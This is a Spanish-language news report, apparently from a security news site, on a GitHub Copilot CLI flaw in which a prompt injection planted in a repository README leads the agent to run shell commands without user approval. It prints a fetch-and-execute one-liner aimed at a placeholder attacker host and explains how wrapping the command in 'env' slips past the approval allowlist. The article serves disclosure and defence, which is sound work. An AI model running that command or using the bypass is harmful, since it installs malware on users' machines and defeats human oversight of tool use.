La vulnerabilidad de GitHub Copilot CLI permite la ejecución de malware mediante inyección de comandos.

✍️ OpenClawRadar📅 Publicado: 28 de febrero de 2026🔗 Source
La vulnerabilidad de GitHub Copilot CLI permite la ejecución de malware mediante inyección de comandos.
Ad

Resumen de la Vulnerabilidad

GitHub Copilot CLI contiene vulnerabilidades que exponen a los usuarios a la ejecución arbitraria de comandos de shell mediante inyección indirecta de prompts sin aprobación del usuario. El malware puede descargarse desde servidores externos y ejecutarse sin ninguna interacción del usuario más allá de la consulta inicial al Copilot CLI.

Cómo Funciona el Ataque

La cadena de ataque involucra:

  • El usuario consulta GitHub Copilot CLI mientras explora un repositorio de código abierto
  • Copilot encuentra una inyección de prompt almacenada en un archivo README del repositorio clonado (u otros vectores como resultados de búsqueda web, resultados de llamadas a herramientas MCP, salida de comandos de terminal)
  • El comando malicioso evita los sistemas de aprobación con intervención humana

Evadiendo Mecanismos de Protección

GitHub Copilot utiliza un sistema de aprobación con intervención humana que requiere el consentimiento del usuario antes de ejecutar comandos potencialmente dañinos. Este sistema se activa a menos que:

  • El usuario haya configurado explícitamente el comando para ejecutarse automáticamente
  • El comando sea parte de una lista 'de solo lectura' codificada que se encuentra en el código fuente

Las verificaciones de acceso a URL externas requieren aprobación del usuario para comandos como curl, wget o la herramienta integrada de obtención web de Copilot. Sin embargo, los atacantes pueden evadir estas protecciones usando:

env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh

El comando env está en la lista codificada de solo lectura, por lo que se ejecuta automáticamente sin aprobación. Dado que curl y sh se pasan como argumentos a env, se analizan incorrectamente y el validador no los identifica como subcomandos. Esto evita las verificaciones de permisos de URL que dependen de detectar comandos como curl.

Ad

Respuesta de GitHub

GitHub respondió: "Hemos revisado su informe y validado sus hallazgos. Después de evaluar internamente el hallazgo, hemos determinado que es un problema conocido que no presenta un riesgo de seguridad significativo. Podríamos hacer que esta funcionalidad sea más estricta en el futuro, pero no tenemos nada que anunciar en este momento."

Alcance y Limitaciones

Las vulnerabilidades de análisis de comandos descritas son específicas de macOS. Sin embargo, GitHub Copilot exhibe vulnerabilidades adicionales que incluyen riesgos independientes del sistema operativo y riesgos específicos de Windows. Otras vulnerabilidades de análisis de comandos permiten la lectura y escritura arbitraria de archivos.

📖 Lea la fuente completa: HN LLM Tools

Ad

👀 Ver también

Preocupaciones de Seguridad en OpenClaw: Claves API y Datos de Conversación en Riesgo en la Autohospedaje por Defecto
Seguridad

Preocupaciones de Seguridad en OpenClaw: Claves API y Datos de Conversación en Riesgo en la Autohospedaje por Defecto

Un informe de Cisco indica que la seguridad de OpenClaw es "opcional, no integrada", con configuraciones predeterminadas que almacenan claves API en archivos .env en instancias VPS, creando una posible exposición para usuarios no técnicos que ejecutan en droplets básicos.

OpenClawRadar
La herramienta Cloak reemplaza las contraseñas de chat con enlaces autodestructivos para agentes de OpenClaw.
Seguridad

La herramienta Cloak reemplaza las contraseñas de chat con enlaces autodestructivos para agentes de OpenClaw.

Cloak es una herramienta de código abierto que reemplaza las contraseñas compartidas en el chat con agentes OpenClaw por enlaces autodestructivos. Cada enlace solo puede abrirse una vez, luego la contraseña desaparece, evitando que las contraseñas se acumulen en los historiales de chat.

OpenClawRadar
Demandante pro se oculta inyecciones de aviso de IA en una presentación judicial
Seguridad

Demandante pro se oculta inyecciones de aviso de IA en una presentación judicial

Un demandante pro se en Connecticut escondió inyecciones de prompt en fuente blanca de 3 puntos en documentos judiciales, instruyendo a cualquier IA a ponerse de su lado. El tribunal lo detectó y lo sancionó.

OpenClawRadar
Alerta de estafa: Falso airdrop de GitHub apunta a usuarios del token CLAW
Seguridad

Alerta de estafa: Falso airdrop de GitHub apunta a usuarios del token CLAW

Está circulando una estafa de phishing que afirma ofrecer airdrops de tokens $CLAW por contribuciones en GitHub. La estafa utiliza un enlace compartido de Google que redirige a un sitio sospechoso .xyz y pide a los usuarios que conecten sus billeteras, lo que podría llevar al vaciado de las mismas.

OpenClawRadar